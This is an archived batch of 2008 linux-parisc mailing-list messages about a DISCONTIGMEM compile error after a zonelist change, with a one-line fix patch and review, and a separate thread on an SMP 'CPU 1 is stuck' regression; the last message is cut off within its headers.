NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1210081704 23227 80.91.229.12 (6 May 2008 13:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 13:48:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Mel Gorman <mel@csn.ul.ie>, Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 15:48:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtNXB-0001cs-Co
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 15:48:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757169AbYEFNsA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 09:48:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757107AbYEFNsA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 09:48:00 -0400
Original-Received: from smtp4.pp.htv.fi ([213.243.153.38]:36263 "EHLO smtp4.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756944AbYEFNr7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 09:47:59 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181133002.pp.htv.fi [82.181.133.2])
	by smtp4.pp.htv.fi (Postfix) with ESMTP id B13455BC030;
	Tue,  6 May 2008 16:47:58 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:301 gmane.linux.kernel:676789
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/301>

Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
(mm: use two zonelist that are filtered by GFP mask)
causes the following build error with CONFIG_DISCONTIGMEM=y
on parisc:

<--  snip  -->

...
  CC      arch/parisc/mm/init.o
/home/bunk/linux/kernel-2.6/git/linux-2.6/arch/parisc/mm/init.c: In function 'show_mem':
/home/bunk/linux/kernel-2.6/git/linux-2.6/arch/parisc/mm/init.c:609: error: too few arguments to function 'node_zonelist'
make[2]: *** [arch/parisc/mm/init.o] Error 1

<--  snip  -->

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 6 May 2008 11:24:58 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20080506152457.GA13070@phobos.i.cabal.ca>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210087528 13018 80.91.229.12 (6 May 2008 15:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 15:25:28 +0000 (UTC)
Cc: Mel Gorman <mel@csn.ul.ie>, Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 17:26:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtP38-0001J7-QB
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 17:25:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764347AbYEFPZB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 11:25:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764638AbYEFPZA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 11:25:00 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:42291 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758798AbYEFPY7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 11:24:59 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 17DBE178081; Tue,  6 May 2008 11:24:58 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080506134648.GA30082@cs181133002.pp.htv.fi>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:302 gmane.linux.kernel:676826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/302>

On Tue, May 06, 2008 at 04:46:48PM +0300, Adrian Bunk wrote:
> Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
> (mm: use two zonelist that are filtered by GFP mask)
> causes the following build error with CONFIG_DISCONTIGMEM=y
> on parisc:
> 
> <--  snip  -->
> 
> ...
>   CC      arch/parisc/mm/init.o
> /home/bunk/linux/kernel-2.6/git/linux-2.6/arch/parisc/mm/init.c: In function 'show_mem':
> /home/bunk/linux/kernel-2.6/git/linux-2.6/arch/parisc/mm/init.c:609: error: too few arguments to function 'node_zonelist'
> make[2]: *** [arch/parisc/mm/init.o] Error 1
> 

yes. the obvious fix works and boots, but I haven't quite determined why
they decided to add this yet, so no patch committed plz.

cheers, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mel Gorman <mel@csn.ul.ie>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 6 May 2008 16:27:14 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20080506152713.GA5034@csn.ul.ie>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1210087652 13458 80.91.229.12 (6 May 2008 15:27:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 15:27:32 +0000 (UTC)
Cc: Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 17:28:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtP5I-0002LE-8K
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 17:28:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758896AbYEFP1T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 11:27:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758495AbYEFP1T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 11:27:19 -0400
Original-Received: from gir.skynet.ie ([193.1.99.77]:36617 "EHLO gir.skynet.ie"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754741AbYEFP1R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 11:27:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by gir.skynet.ie (Postfix) with ESMTP id 385C912274;
	Tue,  6 May 2008 16:27:15 +0100 (IST)
X-Virus-Scanned: Debian amavisd-new at gir.skynet.ie
Original-Received: from gir.skynet.ie ([127.0.0.1])
	by localhost (gir.skynet.ie [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7ABHaXaeOAjx; Tue,  6 May 2008 16:27:15 +0100 (IST)
Original-Received: from skynet.skynet.ie (skynet.skynet.ie [193.1.99.74])
	by gir.skynet.ie (Postfix) with ESMTP id 1DF7C12273;
	Tue,  6 May 2008 16:27:15 +0100 (IST)
Original-Received: by skynet.skynet.ie (Postfix, from userid 2391)
	id E53435015B; Tue,  6 May 2008 16:27:14 +0100 (IST)
Content-Disposition: inline
In-Reply-To: <20080506134648.GA30082@cs181133002.pp.htv.fi>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:303 gmane.linux.kernel:676827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/303>

On (06/05/08 16:46), Adrian Bunk didst pronounce:
> Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
> (mm: use two zonelist that are filtered by GFP mask)
> causes the following build error with CONFIG_DISCONTIGMEM=y
> on parisc:
> 

Thanks Adrian. I don't have a pa-risc cross-compiler and there isn't one
at the usual source http://userweb.kernel.org/~akpm/cross-compilers but the
patch below should fix it. Note that this debugging code should be deleted if
the mm-initialisation-and-debugging framework in -mm is merged to mainline
as it knows how to print all the zonelists where as the pa-risc equivilant
misses the GFP_THISNODE lists.

=====
Subject: [PATCH] Fix pa-risc DISCONTIGMEM compile breakage
    
PA-RISC to aid debugging prints out the zonelists setup by the system. A
bad call to node_zonelist() breaks at compile-time. This patch fixes it.

Signed-off-by: Mel Gorman <mel@csn.ul.ie>
---
 arch/parisc/mm/init.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1f01284..b0ed709 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -606,7 +606,7 @@ void show_mem(void)
 		int i, j;
 
 		for (i = 0; i < npmem_ranges; i++) {
-			zl = node_zonelist(i);
+			zl = node_zonelist(i, 0);
 			for (j = 0; j < MAX_NR_ZONES; j++) {
 				struct zoneref *z;
 				struct zone *zone;

-- 
Mel Gorman
Part-time Phd Student                          Linux Technology Center
University of Limerick                         IBM Dublin Software Lab
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mel Gorman <mel@csn.ul.ie>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 6 May 2008 16:49:23 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20080506154922.GB5034@csn.ul.ie>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi> <20080506152457.GA13070@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1210088990 18516 80.91.229.12 (6 May 2008 15:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 15:49:50 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>,
	Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 17:50:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtPQm-0003di-NZ
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 17:50:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764527AbYEFPt1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 11:49:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764542AbYEFPt1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 11:49:27 -0400
Original-Received: from gir.skynet.ie ([193.1.99.77]:45417 "EHLO gir.skynet.ie"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1764527AbYEFPt0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 11:49:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by gir.skynet.ie (Postfix) with ESMTP id 80DF712275;
	Tue,  6 May 2008 16:49:23 +0100 (IST)
X-Virus-Scanned: Debian amavisd-new at gir.skynet.ie
Original-Received: from gir.skynet.ie ([127.0.0.1])
	by localhost (gir.skynet.ie [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jFf1EBkweuPY; Tue,  6 May 2008 16:49:23 +0100 (IST)
Original-Received: from skynet.skynet.ie (skynet.skynet.ie [193.1.99.74])
	by gir.skynet.ie (Postfix) with ESMTP id 68DD71226B;
	Tue,  6 May 2008 16:49:23 +0100 (IST)
Original-Received: by skynet.skynet.ie (Postfix, from userid 2391)
	id 481285015B; Tue,  6 May 2008 16:49:23 +0100 (IST)
Content-Disposition: inline
In-Reply-To: <20080506152457.GA13070@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:304 gmane.linux.kernel:676840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/304>

On (06/05/08 11:24), Kyle McMartin didst pronounce:
> On Tue, May 06, 2008 at 04:46:48PM +0300, Adrian Bunk wrote:
> > Commit 54a6eb5c4765aa573a030ceeba2c14e3d2ea5706
> > (mm: use two zonelist that are filtered by GFP mask)
> > causes the following build error with CONFIG_DISCONTIGMEM=y
> > on parisc:
> > 
> > <--  snip  -->
> > 
> > ...
> >   CC      arch/parisc/mm/init.o
> > /home/bunk/linux/kernel-2.6/git/linux-2.6/arch/parisc/mm/init.c: In function 'show_mem':
> > /home/bunk/linux/kernel-2.6/git/linux-2.6/arch/parisc/mm/init.c:609: error: too few arguments to function 'node_zonelist'
> > make[2]: *** [arch/parisc/mm/init.o] Error 1
> > 
> 
> yes. the obvious fix works and boots, but I haven't quite determined why
> they decided to add this yet, so no patch committed plz.
> 

I'm not sure what you are referring to as "this" here. If you mean the
zonelist changes, they were done to reduce the number of zonelists that
exist, to clear up an anomoly with MPOL_BIND and to remove a hack called
alloc_should_filter_zonelist() in the page allocator. The pa-risc code that
walks zonelists (presumably for debugging) has been around for a while and
was updated at the same time as the zonelist patches were done, just not as
well as it should have been.

-- 
Mel Gorman
Part-time Phd Student                          Linux Technology Center
University of Limerick                         IBM Dublin Software Lab
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Tue, 6 May 2008 18:32:06 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20080506163206.GA2211@ska.dandreoli.com>
References: <20080420231818.GA2162@ska.dandreoli.com> <1208789018.3640.6.camel@localhost.localdomain> <20080423004440.GB21544@colo.lackof.org> <20080423005438.GK19802@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210091589 28609 80.91.229.12 (6 May 2008 16:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 16:33:09 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 18:33:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtQ66-0005UG-TF
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 18:32:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932083AbYEFQcO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 12:32:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762526AbYEFQcO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 12:32:14 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.153]:13570 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765407AbYEFQcM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 12:32:12 -0400
Original-Received: by fg-out-1718.google.com with SMTP id 19so504991fgg.17
        for <linux-parisc@vger.kernel.org>; Tue, 06 May 2008 09:32:11 -0700 (PDT)
Original-Received: by 10.86.78.4 with SMTP id a4mr1873723fgb.73.1210091530646;
        Tue, 06 May 2008 09:32:10 -0700 (PDT)
Original-Received: from ska.dandreoli.com ( [159.149.71.27])
        by mx.google.com with ESMTPS id 22sm1702764fkr.11.2008.05.06.09.32.08
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 06 May 2008 09:32:09 -0700 (PDT)
Original-Received: by ska.dandreoli.com (Postfix, from userid 1000)
	id 84870144A6C; Tue,  6 May 2008 18:32:06 +0200 (CEST)
Mail-Followup-To: Kyle McMartin <kyle@mcmartin.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20080423005438.GK19802@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:305 gmane.linux.kernel:676870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/305>

On Tue, Apr 22, 2008 at 08:54:38PM -0400, Kyle McMartin wrote:
> On Tue, Apr 22, 2008 at 06:44:40PM -0600, Grant Grundler wrote:
> > 
> > *nod* I don't expect CPUs to show up in inventory if they are
> > deconfigured in BCH. Maybe J-class firmware has this wrong? *shrug*
> > Something worth checking I guess.
> > 
> 
> i booted the kernel from my rp3440 on my j6000. i also get this cpu1 is
> stuck message. putting a panic in the SMP C-code entrypoint is never
> hit.
> 
> most oddly, putting a hpmc-causing insn sequence in the entry point
> doesn't trigger either, so the cpu isn't coming out of the rendezvous.
> 
> even more oddly, the stwa insn in the bring up code looks fine.

still nothing changed with 2.6.26-rc1-00110-ga153063

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <clameter@sgi.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 6 May 2008 10:54:59 -0700 (PDT)
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0805061053100.23336@schroedinger.engr.sgi.com>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi>
 <20080506152713.GA5034@csn.ul.ie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1210096537 14074 80.91.229.12 (6 May 2008 17:55:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 17:55:37 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Mel Gorman <mel@csn.ul.ie>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 19:56:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtROH-0006FP-0T
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 19:55:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750992AbYEFRzD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 13:55:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752658AbYEFRzC
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 13:55:02 -0400
Original-Received: from netops-testserver-3-out.sgi.com ([192.48.171.28]:50590 "EHLO
	relay.sgi.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752200AbYEFRzA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 13:55:00 -0400
Original-Received: from schroedinger.engr.sgi.com (schroedinger.engr.sgi.com [150.166.1.51])
	by netops-testserver-3.corp.sgi.com (Postfix) with ESMTP id 08C0E90890;
	Tue,  6 May 2008 10:54:59 -0700 (PDT)
Original-Received: from clameter (helo=localhost)
	by schroedinger.engr.sgi.com with local-esmtp (Exim 3.36 #1 (Debian))
	id 1JtRNT-00068D-00; Tue, 06 May 2008 10:54:59 -0700
X-X-Sender: clameter@schroedinger.engr.sgi.com
In-Reply-To: <20080506152713.GA5034@csn.ul.ie>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:306 gmane.linux.kernel:676922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/306>

Reviewed-by: Christoph Lameter <clameter@sgi.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc DISCONTIGMEM compile breakage
Date: Tue, 06 May 2008 14:58:47 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <1210103927.3057.19.camel@localhost.localdomain>
References: <20080506134648.GA30082@cs181133002.pp.htv.fi>
	 <20080506152713.GA5034@csn.ul.ie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1210103963 8593 80.91.229.12 (6 May 2008 19:59:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2008 19:59:23 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>,
	Christoph Lameter <clameter@sgi.com>,
	Lee Schermerhorn <lee.schermerhorn@hp.com>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Mel Gorman <mel@csn.ul.ie>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 21:59:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JtTK8-0005Jy-I5
	for glpp-linux-parisc@gmane.org; Tue, 06 May 2008 21:59:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760219AbYEFT6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 May 2008 15:58:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756259AbYEFT6z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 May 2008 15:58:55 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:54594 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752246AbYEFT6x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 May 2008 15:58:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 3BE7EA252;
	Tue,  6 May 2008 14:58:50 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1210103930; bh=sc9/Glqrjp29pMUM+JQJwsNark4FVTHm5x1yiL1ur0
	Y=; l=2582; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=QdyqE2iPdFICoFRdJPhuEjfNic190EdeMxfuc
	DYBlnBKUJzHZbAeLh170FtPUU55fFAcW6d461kAFLBqTl5tqK/nl+dH4XHceuh+n7R/
	oI5jnmkNcKkr12cy1p4do/nWbHXP2eymiSAIT9Lr0sMP6eobr5yM1K4V67SS3tYmW2g
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id klvDed2e01fJ; Tue,  6 May 2008 14:58:49 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 401D9843C;
	Tue,  6 May 2008 14:58:48 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1210103928; bh=sc9/Glqrjp29pMUM+JQJwsNark4FVTHm5x1yiL1ur0
	Y=; l=2582; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=s8QQC6uSK0xUdpLFwMjgjpCxZJON8XIA+9YlV
	Tlg6LCy6Wa2XYQoKw5Mf3pKiRBw7v+LXrFRzy5m4fGMKzk+srVw5FIgYBM5pM2rS8qp
